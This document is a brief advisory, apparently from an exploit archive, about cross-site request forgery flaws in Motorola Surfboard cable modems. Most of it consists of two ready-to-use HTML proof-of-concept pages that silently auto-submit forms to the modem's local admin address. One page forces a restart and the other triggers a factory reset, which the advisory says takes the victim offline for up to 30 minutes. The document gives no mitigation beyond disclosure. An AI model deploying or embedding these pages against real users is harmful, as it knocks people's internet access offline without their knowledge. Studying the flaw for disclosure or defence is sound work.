The Motorola Surfboard cable modem suffers from cross site request forgery vulnerabilities.
b98c308fb47b4f3a9bf954a422d5ba85c189c273d9b9eac792e5a7f6e88acea2More information about this flaw can be found here:
http://www.rooksecurity.com/blog/?p=4
Motorola Surfboard Cable Modems suffer from two Denial of Service attacks by means of Cross Site Request Forgery.
The latest version of The Motorola Surfboard is affected at the time of the writing.
Restarts the modem:
<html>
<form id=1 method=post action=’http://192.168.100.1/configdata.html’>
<input name=’BUTTON_INPUT’ value=’Restart+Cable+Modem’>
</form>
<html>
<script>
document.getElementById(1).submit();
</script>
This CSRF will disconnect the user from the internet for longer.
“The process to get back online from a factory default condition could take from 5 to 30 minutes.”
<html>
<form id=2 method=post action=’http://192.168.100.1/configdata.html’>
<input name=’BUTTON_INPUT’ value=’Reset+All+Defaults’>
</form>
<html>
<script>
document.getElementById(2).submit();
</script>
Peace
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed